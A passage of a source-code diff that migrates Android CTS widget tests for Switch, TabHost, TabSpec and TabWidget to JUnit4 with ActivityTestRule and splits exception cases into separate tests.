+                () -> mSwitch.setTrackDrawable(mActivity.getDrawable(R.drawable.blue_fill)));
+        trackDrawable = mSwitch.getTrackDrawable();
+        trackDrawableBounds = trackDrawable.getBounds();
+        TestUtils.assertAllPixelsOfColor("Track drawable should be blue", trackDrawable,
+                trackDrawableBounds.width(), trackDrawableBounds.height(), false,
+                Color.BLUE, 1, true);
+
+        // Change track drawable to green
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setTrackResource(R.drawable.green_fill));
+        trackDrawable = mSwitch.getTrackDrawable();
+        trackDrawableBounds = trackDrawable.getBounds();
+        TestUtils.assertAllPixelsOfColor("Track drawable should be green", trackDrawable,
+                trackDrawableBounds.width(), trackDrawableBounds.height(), false,
+                Color.GREEN, 1, true);
+
+        // Now tint the latest (green) track drawable with 50% blue SRC_OVER
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch, () -> {
+            mSwitch.setTrackTintList(ColorStateList.valueOf(0x800000FF));
+            mSwitch.setTrackTintMode(Mode.SRC_OVER);
+        });
+        trackDrawable = mSwitch.getTrackDrawable();
+        trackDrawableBounds = trackDrawable.getBounds();
+        TestUtils.assertAllPixelsOfColor("Track drawable should be green / blue", trackDrawable,
+                trackDrawableBounds.width(), trackDrawableBounds.height(), false,
+                TestUtils.compositeColors(0x800000FF, Color.GREEN), 1, true);
+    }
+
+    @Test
+    public void testAccessText() throws Throwable {
+        // Run text-related tests on a Holo-themed switch, since under Material themes we
+        // are not showing texts by default.
+        mSwitch = new Switch(new ContextThemeWrapper(mActivity, android.R.style.Theme_Holo_Light));
+        final ViewGroup container = (ViewGroup) mActivity.findViewById(R.id.container);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, container,
+                () -> container.addView(mSwitch));
+
+        // Set "on" text and verify it
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setTextOn("Text on"));
+        assertEquals("Text on", mSwitch.getTextOn());
+
+        // Set "off" text and verify it
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setTextOff("Text off"));
+        assertEquals("Text off", mSwitch.getTextOff());
+
+        // Turn text display on
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setShowText(true));
+        assertTrue(mSwitch.getShowText());
+
+        // Use custom text appearance. Since we don't have APIs to query this facet of Switch,
+        // just test that it's not crashing.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSwitchTextAppearance(mActivity, R.style.TextAppearance_WithColor));
+
+        // Use custom typeface. Since we don't have APIs to query this facet of Switch,
+        // just test that it's not crashing.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSwitchTypeface(Typeface.MONOSPACE));
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSwitchTypeface(Typeface.SERIF, Typeface.ITALIC));
+
+        // Set and verify padding between the thumb and the text
+        final int thumbTextPadding = mActivity.getResources().getDimensionPixelSize(
+                R.dimen.switch_thumb_text_padding);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setThumbTextPadding(thumbTextPadding));
+        assertEquals(thumbTextPadding, mSwitch.getThumbTextPadding());
+
+        // Set and verify padding between the switch and the text
+        final int switchPadding = mActivity.getResources().getDimensionPixelSize(
+                R.dimen.switch_padding);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSwitchPadding(switchPadding));
+        assertEquals(switchPadding, mSwitch.getSwitchPadding());
+
+        // Turn text display off
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setShowText(false));
+        assertFalse(mSwitch.getShowText());
+    }
+
+    @Test
+    public void testAccessMinWidth() throws Throwable {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        // Set custom min width on the switch and verify that it's at least that wide
+        final int switchMinWidth = mActivity.getResources().getDimensionPixelSize(
+                R.dimen.switch_min_width);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSwitchMinWidth(switchMinWidth));
+        assertEquals(switchMinWidth, mSwitch.getSwitchMinWidth());
+        assertTrue(mSwitch.getWidth() >= switchMinWidth);
+
+        // And set another (larger) min width
+        final int switchMinWidth2 = mActivity.getResources().getDimensionPixelSize(
+                R.dimen.switch_min_width2);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSwitchMinWidth(switchMinWidth2));
+        assertEquals(switchMinWidth2, mSwitch.getSwitchMinWidth());
+        assertTrue(mSwitch.getWidth() >= switchMinWidth2);
+    }
+
+    @Test
+    public void testAccessSplitTrack() throws Throwable {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSplitTrack(true));
+        assertTrue(mSwitch.getSplitTrack());
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setSplitTrack(false));
+        assertFalse(mSwitch.getSplitTrack());
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TabHostCtsActivity.java
index 189dbee..ec0bfa7 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostCtsActivity.java
@@ -21,7 +21,6 @@
 import android.view.View;
 import android.widget.TabHost;
 import android.widget.TextView;
-
 import android.widget.cts.R;
 
 /**
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostTest.java b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
index 8756687..765fd37 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
@@ -16,13 +16,25 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
 import android.app.Activity;
 import android.app.ActivityGroup;
+import android.app.Instrumentation;
 import android.content.Intent;
-import android.cts.util.WidgetTestUtils;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ListView;
 import android.widget.TabHost;
@@ -30,41 +42,55 @@
 import android.widget.TabHost.TabSpec;
 import android.widget.TextView;
 
-import static org.mockito.Mockito.*;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link TabHost}.
  */
 @SmallTest
-public class TabHostTest extends ActivityInstrumentationTestCase2<TabHostCtsActivity> {
+@RunWith(AndroidJUnit4.class)
+public class TabHostTest {
     private static final String TAG_TAB1 = "tab 1";
     private static final String TAG_TAB2 = "tab 2";
     private static final int TAB_HOST_ID = android.R.id.tabhost;
 
+    private Instrumentation mInstrumentation;
     private TabHostCtsActivity mActivity;
 
-    public TabHostTest() {
-        super("android.widget.cts", TabHostCtsActivity.class);
+    @Rule
+    public ActivityTestRule<TabHostCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TabHostCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new TabHost(mActivity);
 
         new TabHost(mActivity, null);
     }
 
+    @Test
     public void testNewTabSpec() {
         TabHost tabHost = new TabHost(mActivity);
 
         assertNotNull(tabHost.newTabSpec(TAG_TAB2));
+    }
 
-        assertNotNull(tabHost.newTabSpec(null));
+    @Test(expected=IllegalArgumentException.class)
+    public void testNewTabSpecWithNullTag() {
+        TabHost tabHost = new TabHost(mActivity);
+
+        tabHost.newTabSpec(null);
     }
 
     /*
@@ -72,28 +98,31 @@
      * 1. the tabWidget view and tabContent view associated with tabHost are created.
      * 2. no exception occurs when doing normal operation after setup().
      */
+    @Test
     public void testSetup1() throws Throwable {
-        final Activity activity = launchActivity("android.widget.cts", CtsActivity.class, null);
+        final Intent launchIntent = new Intent(Intent.ACTION_MAIN);
+        launchIntent.setClassName("android.widget.cts", CtsActivity.class.getName());
+        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        final Activity activity = mInstrumentation.startActivitySync(launchIntent);
+        mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                activity.setContentView(R.layout.tabhost_layout);
+        mActivityRule.runOnUiThread(() -> {
+            activity.setContentView(R.layout.tabhost_layout);
 
-                TabHost tabHost = (TabHost) activity.findViewById(TAB_HOST_ID);
-                assertNull(tabHost.getTabWidget());
-                assertNull(tabHost.getTabContentView());
-                tabHost.setup();
-                assertNotNull(tabHost.getTabWidget());
-                assertNotNull(tabHost.getTabContentView());
+            TabHost tabHost = (TabHost) activity.findViewById(TAB_HOST_ID);
+            assertNull(tabHost.getTabWidget());
+            assertNull(tabHost.getTabContentView());
+            tabHost.setup();
+            assertNotNull(tabHost.getTabWidget());
+            assertNotNull(tabHost.getTabContentView());
 
-                TabSpec tabSpec = tabHost.newTabSpec(TAG_TAB1);
-                tabSpec.setIndicator(TAG_TAB1);
-                tabSpec.setContent(new MyTabContentFactoryList());
-                tabHost.addTab(tabSpec);
-                tabHost.setCurrentTab(0);
-            }
+            TabSpec tabSpec = tabHost.newTabSpec(TAG_TAB1);
+            tabSpec.setIndicator(TAG_TAB1);
+            tabSpec.setContent(new MyTabContentFactoryList());
+            tabHost.addTab(tabSpec);
+            tabHost.setCurrentTab(0);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         activity.finish();
     }
@@ -103,41 +132,40 @@
      * 1. the tabWidget view and tabContent view associated with tabHost are created.
      * 2. no exception occurs when uses TabSpec.setContent(android.content.Intent) after setup().
      */
+    @Test
     public void testSetup2() throws Throwable {
-        final ActivityGroup activity = launchActivity("android.widget.cts",
-                ActivityGroup.class, null);
+        final Intent launchIntent = new Intent(Intent.ACTION_MAIN);
+        launchIntent.setClassName("android.widget.cts", ActivityGroup.class.getName());
+        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        final ActivityGroup activity =
+                (ActivityGroup) mInstrumentation.startActivitySync(launchIntent);
+        mInstrumentation.waitForIdleSync();
 
+        mActivityRule.runOnUiThread(() -> {
+            activity.setContentView(R.layout.tabhost_layout);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                activity.setContentView(R.layout.tabhost_layout);
+            TabHost tabHost = (TabHost) activity.findViewById(TAB_HOST_ID);
+            assertNull(tabHost.getTabWidget());
+            assertNull(tabHost.getTabContentView());
+            tabHost.setup(activity.getLocalActivityManager());
+            assertNotNull(tabHost.getTabWidget());
+            assertNotNull(tabHost.getTabContentView());
 
-                TabHost tabHost = (TabHost) activity.findViewById(TAB_HOST_ID);
-                assertNull(tabHost.getTabWidget());
-                assertNull(tabHost.getTabContentView());
-                tabHost.setup(activity.getLocalActivityManager());
-                assertNotNull(tabHost.getTabWidget());
-                assertNotNull(tabHost.getTabContentView());
-
-                TabSpec tabSpec = tabHost.newTabSpec(TAG_TAB1);
-                tabSpec.setIndicator(TAG_TAB1);
-                Intent intent = new Intent(Intent.ACTION_VIEW, null,
-                        mActivity, CtsActivity.class);
-                tabSpec.setContent(intent);
-                tabHost.addTab(tabSpec);
-                tabHost.setCurrentTab(0);
-            }
+            TabSpec tabSpec = tabHost.newTabSpec(TAG_TAB1);
+            tabSpec.setIndicator(TAG_TAB1);
+            Intent intent = new Intent(Intent.ACTION_VIEW, null,
+                    mActivity, CtsActivity.class);
+            tabSpec.setContent(intent);
+            tabHost.addTab(tabSpec);
+            tabHost.setCurrentTab(0);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         activity.finish();
     }
 
-    public void testOnTouchModeChanged() {
-        // implementation details
-    }
-
     @UiThreadTest
+    @Test
     public void testAddTab() {
         TabHost tabHost = mActivity.getTabHost();
         // there is a initial tab
@@ -151,27 +179,38 @@
         tabHost.setCurrentTab(1);
         assertTrue(tabHost.getCurrentView() instanceof ListView);
         assertEquals(TAG_TAB2, tabHost.getCurrentTabTag());
-
-        try {
-            tabHost.addTab(tabHost.newTabSpec("tab 3"));
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            tabHost.addTab(tabHost.newTabSpec("tab 3").setIndicator("tab 3"));
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            tabHost.addTab(null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
     }
 
     @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddTabNoIndicatorNoContent() {
+        TabHost tabHost = mActivity.getTabHost();
+        tabHost.addTab(tabHost.newTabSpec("tab 3"));
+    }
+
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddTabNoContent() {
+        TabHost tabHost = mActivity.getTabHost();
+        tabHost.addTab(tabHost.newTabSpec("tab 3").setIndicator("tab 3"));
+    }
+
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddTabNoIndicator() {
+        TabHost tabHost = mActivity.getTabHost();
+        tabHost.addTab(tabHost.newTabSpec("tab 3").setContent(new MyTabContentFactoryText()));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddTabNull() {
+        TabHost tabHost = mActivity.getTabHost();
+        tabHost.addTab(null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testClearAllTabs() {
         TabHost tabHost = mActivity.getTabHost();
         MyTabContentFactoryText tcf = new MyTabContentFactoryText();
@@ -191,20 +230,19 @@
         assertNull(tabHost.getCurrentView());
     }
 
+    @Test
     public void testGetTabWidget() {
         TabHost tabHost = mActivity.getTabHost();
 
         // The attributes defined in tabhost_layout.xml
         assertEquals(android.R.id.tabs, tabHost.getTabWidget().getId());
-        WidgetTestUtils.assertScaledPixels(1, tabHost.getTabWidget().getPaddingLeft(),
-                getActivity());
-        WidgetTestUtils.assertScaledPixels(1, tabHost.getTabWidget().getPaddingRight(),
-                getActivity());
-        WidgetTestUtils.assertScaledPixels(4, tabHost.getTabWidget().getPaddingTop(),
-                getActivity());
+        WidgetTestUtils.assertScaledPixels(1, tabHost.getTabWidget().getPaddingLeft(), mActivity);
+        WidgetTestUtils.assertScaledPixels(1, tabHost.getTabWidget().getPaddingRight(), mActivity);
+        WidgetTestUtils.assertScaledPixels(4, tabHost.getTabWidget().getPaddingTop(), mActivity);
     }
 
     @UiThreadTest
+    @Test
     public void testAccessCurrentTab() {
         TabHost tabHost = mActivity.getTabHost();
         assertEquals(0, tabHost.getCurrentTab());
@@ -227,6 +265,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCurrentTabView() {
         TabHost tabHost = mActivity.getTabHost();
         // current tab view is the first child of tabWidget.
@@ -242,6 +281,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCurrentView() {
         TabHost tabHost = mActivity.getTabHost();
         TextView textView = (TextView) tabHost.getCurrentView();
@@ -256,6 +296,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetCurrentTabByTag() {
         TabHost tabHost = mActivity.getTabHost();
 
@@ -280,6 +321,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetTabContentView() {
         TabHost tabHost = mActivity.getTabHost();
         assertEquals(3, tabHost.getTabContentView().getChildCount());
@@ -309,22 +351,13 @@
         assertEquals(TabHostCtsActivity.INITIAL_VIEW_TEXT, child2.getText().toString());
     }
 
-    @UiThreadTest
-    public void testDispatchKeyEvent() {
-        // Implementation details.
-    }
-
-    @UiThreadTest
-    public void testDispatchWindowFocusChanged() {
-        // Implementation details
-    }
-
     /**
      * Check points:
      * 1. the specified callback should be invoked when the selected state of any of the items
      * in this list changes
      */
     @UiThreadTest
+    @Test
     public void testSetOnTabChangedListener() {
         TabHost tabHost = mActivity.getTabHost();
 
@@ -349,6 +382,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCurrentTabTag() {
         TabHost tabHost = mActivity.getTabHost();
         assertEquals(TabHostCtsActivity.INITIAL_TAB_TAG, tabHost.getCurrentTabTag());
@@ -361,11 +395,6 @@
         assertEquals(TAG_TAB2, tabHost.getCurrentTabTag());
     }
 
-    @UiThreadTest
-    public void testOnAttachedToAndDetachedFromWindow() {
-        // implementation details
-    }
-
     private class MyTabContentFactoryText implements TabHost.TabContentFactory {
         public View createTabContent(String tag) {
             final TextView tv = new TextView(mActivity);
diff --git a/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java b/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
index e8825c7..a0498d5 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
@@ -16,8 +16,11 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
@@ -27,38 +30,47 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ImageView;
 import android.widget.ListView;
 import android.widget.TabHost;
 import android.widget.TextView;
-import android.widget.TabHost.TabSpec;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
- * Test {@link TabSpec}.
+ * Test {@link TabHost.TabSpec}.
  */
-public class TabHost_TabSpecTest extends ActivityInstrumentationTestCase2<TabHostCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TabHost_TabSpecTest {
     private static final String TAG_TAB2 = "tab 2";
 
-    private TabHost mTabHost;
     private TabHostCtsActivity mActivity;
+    private TabHost mTabHost;
 
-    public TabHost_TabSpecTest() {
-        super("android.widget.cts", TabHostCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<TabHostCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TabHostCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mTabHost = mActivity.getTabHost();
     }
 
     @UiThreadTest
+    @Test
     public void testSetIndicator1() {
-        TabSpec tabSpec = mTabHost.newTabSpec(TAG_TAB2);
+        TabHost.TabSpec tabSpec = mTabHost.newTabSpec(TAG_TAB2);
 
         // normal value
         tabSpec.setIndicator(TAG_TAB2).setContent(new MockTabContentFactoryText());
@@ -80,8 +92,9 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetIndicator2() {
-        TabSpec tabSpec = mTabHost.newTabSpec(TAG_TAB2);
+        TabHost.TabSpec tabSpec = mTabHost.newTabSpec(TAG_TAB2);
 
         // normal value
         Drawable d = new ColorDrawable(Color.GRAY);
@@ -133,29 +146,31 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetContent1() {
-        TabSpec tabSpec2 = mTabHost.newTabSpec("tab spec 2");
+        TabHost.TabSpec tabSpec2 = mTabHost.newTabSpec("tab spec 2");
         tabSpec2.setIndicator("tab 2");
         // TabContentFactory to create a TextView as the content of the tab.
-        tabSpec2.setContent(android.widget.cts.R.id.tabhost_textview);
+        tabSpec2.setContent(R.id.tabhost_textview);
         mTabHost.addTab(tabSpec2);
         mTabHost.setCurrentTab(1);
         TextView currentView = (TextView) mTabHost.getCurrentView();
         assertEquals(mActivity.getResources().getString(R.string.hello_world),
                 currentView.getText().toString());
 
-        TabSpec tabSpec3 = mTabHost.newTabSpec("tab spec 3");
+        TabHost.TabSpec tabSpec3 = mTabHost.newTabSpec("tab spec 3");
         tabSpec3.setIndicator("tab 3");
         // TabContentFactory to create a ListView as the content of the tab.
-        tabSpec3.setContent(android.widget.cts.R.id.tabhost_listview);
+        tabSpec3.setContent(R.id.tabhost_listview);
         mTabHost.addTab(tabSpec3);
         mTabHost.setCurrentTab(2);
         assertTrue(mTabHost.getCurrentView() instanceof ListView);
     }
 
     @UiThreadTest
+    @Test
     public void testSetContent2() {
-        TabSpec tabSpec2 = mTabHost.newTabSpec("tab spec 2");
+        TabHost.TabSpec tabSpec2 = mTabHost.newTabSpec("tab spec 2");
         tabSpec2.setIndicator("tab 2");
         // TabContentFactory to create a TextView as the content of the tab.
         tabSpec2.setContent(new MockTabContentFactoryText());
@@ -164,7 +179,7 @@
         TextView currentView = (TextView) mTabHost.getCurrentView();
         assertEquals("tab spec 2", currentView.getText().toString());
 
-        TabSpec tabSpec3 = mTabHost.newTabSpec("tab spec 3");
+        TabHost.TabSpec tabSpec3 = mTabHost.newTabSpec("tab spec 3");
         tabSpec3.setIndicator("tab 3");
         // TabContentFactory to create a ListView as the content of the tab.
         tabSpec3.setContent(new MockTabContentFactoryList());
@@ -173,22 +188,21 @@
         assertTrue(mTabHost.getCurrentView() instanceof ListView);
     }
 
+    @Test
     public void testSetContent3() {
         // The scheme of uri string must be "ctstest" to launch MockURLSpanTestActivity
         Uri uri = Uri.parse("ctstest://tabhost_tabspec/test");
         final Intent intent = new Intent(Intent.ACTION_VIEW, uri);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                TabSpec tabSpec = mTabHost.newTabSpec("tab spec");
-                tabSpec.setIndicator("tab");
-                tabSpec.setContent(intent);
-                mTabHost.addTab(tabSpec);
-                mTabHost.setCurrentTab(1);
-            }
+        mActivity.runOnUiThread(() -> {
+            TabHost.TabSpec tabSpec = mTabHost.newTabSpec("tab spec");
+            tabSpec.setIndicator("tab");
+            tabSpec.setContent(intent);
+            mTabHost.addTab(tabSpec);
+            mTabHost.setCurrentTab(1);
         });
 
-        Instrumentation instrumentation = getInstrumentation();
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         ActivityMonitor am = instrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
                 null, false);
 
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index 58fbf46..c798a0e 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -16,13 +16,19 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
-import android.app.Activity;
 import android.content.Context;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.widget.LinearLayout;
@@ -33,23 +39,31 @@
 import android.widget.TextView;
 import android.widget.cts.util.TestUtils;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link TabWidget}.
  */
-@SmallTest
-public class TabWidgetTest extends ActivityInstrumentationTestCase2<TabHostCtsActivity> {
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TabWidgetTest {
+    private TabHostCtsActivity mActivity;
+    private TabWidget mTabWidget;
 
-    public TabWidgetTest() {
-        super("android.widget.cts", TabHostCtsActivity.class);
+    @Rule
+    public ActivityTestRule<TabHostCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TabHostCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mTabWidget = mActivity.getTabWidget();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new TabWidget(mActivity);
 
@@ -58,6 +72,7 @@
         new TabWidget(mActivity, null, 0);
     }
 
+    @Test
     public void testConstructorWithStyle() {
         TabWidget tabWidget = new TabWidget(mActivity, null, 0, R.style.TabWidgetCustomStyle);
 
@@ -76,6 +91,7 @@
                 true, 0xFFFF0000, 1, false);
     }
 
+    @Test
     public void testInflateFromXml() {
         LayoutInflater inflater = LayoutInflater.from(mActivity);
         TabWidget tabWidget = (TabWidget) inflater.inflate(R.layout.tabhost_custom, null, false);
@@ -96,38 +112,36 @@
     }
 
     @UiThreadTest
+    @Test
     public void testTabCount() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-
         // We have one tab added in onCreate() of our activity
-        assertEquals(1, tabWidget.getTabCount());
+        assertEquals(1, mTabWidget.getTabCount());
 
         for (int i = 1; i < 10; i++) {
-            tabWidget.addView(new TextView(mActivity));
-            assertEquals(i + 1, tabWidget.getTabCount());
+            mTabWidget.addView(new TextView(mActivity));
+            assertEquals(i + 1, mTabWidget.getTabCount());
         }
     }
 
     @UiThreadTest
+    @Test
     public void testTabViews() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-
         // We have one tab added in onCreate() of our activity. We "reach" into the default tab
         // indicator layout in the same way we do in TabHost_TabSpecTest tests.
-        TextView tab0 = (TextView) tabWidget.getChildTabViewAt(0).findViewById(android.R.id.title);
+        TextView tab0 = (TextView) mTabWidget.getChildTabViewAt(0).findViewById(android.R.id.title);
         assertNotNull(tab0);
         assertEquals(TabHostCtsActivity.INITIAL_TAB_LABEL, tab0.getText());
 
         for (int i = 1; i < 10; i++) {
             TextView toAdd = new TextView(mActivity);
             toAdd.setText("Tab #" + i);
-            tabWidget.addView(toAdd);
-            assertEquals(toAdd, tabWidget.getChildTabViewAt(i));
+            mTabWidget.addView(toAdd);
+            assertEquals(toAdd, mTabWidget.getChildTabViewAt(i));
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testChildDrawableStateChanged() {
         MockTabWidget mockTabWidget = new MockTabWidget(mActivity);
         TextView tv0 = new TextView(mActivity);
@@ -148,93 +162,84 @@
         assertFalse(mockTabWidget.hasCalledInvalidate());
     }
 
-    public void testDispatchDraw() {
-        // implementation details
-    }
-
     @UiThreadTest
+    @Test
     public void testSetCurrentTab() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-        tabWidget.addView(new TextView(mActivity));
+        mTabWidget.addView(new TextView(mActivity));
 
-        assertTrue(tabWidget.getChildAt(0).isSelected());
-        assertFalse(tabWidget.getChildAt(1).isSelected());
-        assertTrue(tabWidget.getChildAt(0).isFocused());
-        assertFalse(tabWidget.getChildAt(1).isFocused());
+        assertTrue(mTabWidget.getChildAt(0).isSelected());
+        assertFalse(mTabWidget.getChildAt(1).isSelected());
+        assertTrue(mTabWidget.getChildAt(0).isFocused());
+        assertFalse(mTabWidget.getChildAt(1).isFocused());
 
-        tabWidget.setCurrentTab(1);
-        assertFalse(tabWidget.getChildAt(0).isSelected());
-        assertTrue(tabWidget.getChildAt(1).isSelected());
-        assertTrue(tabWidget.getChildAt(0).isFocused());
-        assertFalse(tabWidget.getChildAt(1).isFocused());
+        mTabWidget.setCurrentTab(1);
+        assertFalse(mTabWidget.getChildAt(0).isSelected());
+        assertTrue(mTabWidget.getChildAt(1).isSelected());
+        assertTrue(mTabWidget.getChildAt(0).isFocused());
+        assertFalse(mTabWidget.getChildAt(1).isFocused());
     }
 
     @UiThreadTest
+    @Test
     public void testFocusCurrentTab() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-        tabWidget.addView(new TextView(mActivity));
+        mTabWidget.addView(new TextView(mActivity));
 
-        assertTrue(tabWidget.getChildAt(0).isSelected());
-        assertFalse(tabWidget.getChildAt(1).isSelected());
-        assertEquals(tabWidget.getChildAt(0), tabWidget.getFocusedChild());
-        assertTrue(tabWidget.getChildAt(0).isFocused());
-        assertFalse(tabWidget.getChildAt(1).isFocused());
+        assertTrue(mTabWidget.getChildAt(0).isSelected());
+        assertFalse(mTabWidget.getChildAt(1).isSelected());
+        assertEquals(mTabWidget.getChildAt(0), mTabWidget.getFocusedChild());
+        assertTrue(mTabWidget.getChildAt(0).isFocused());
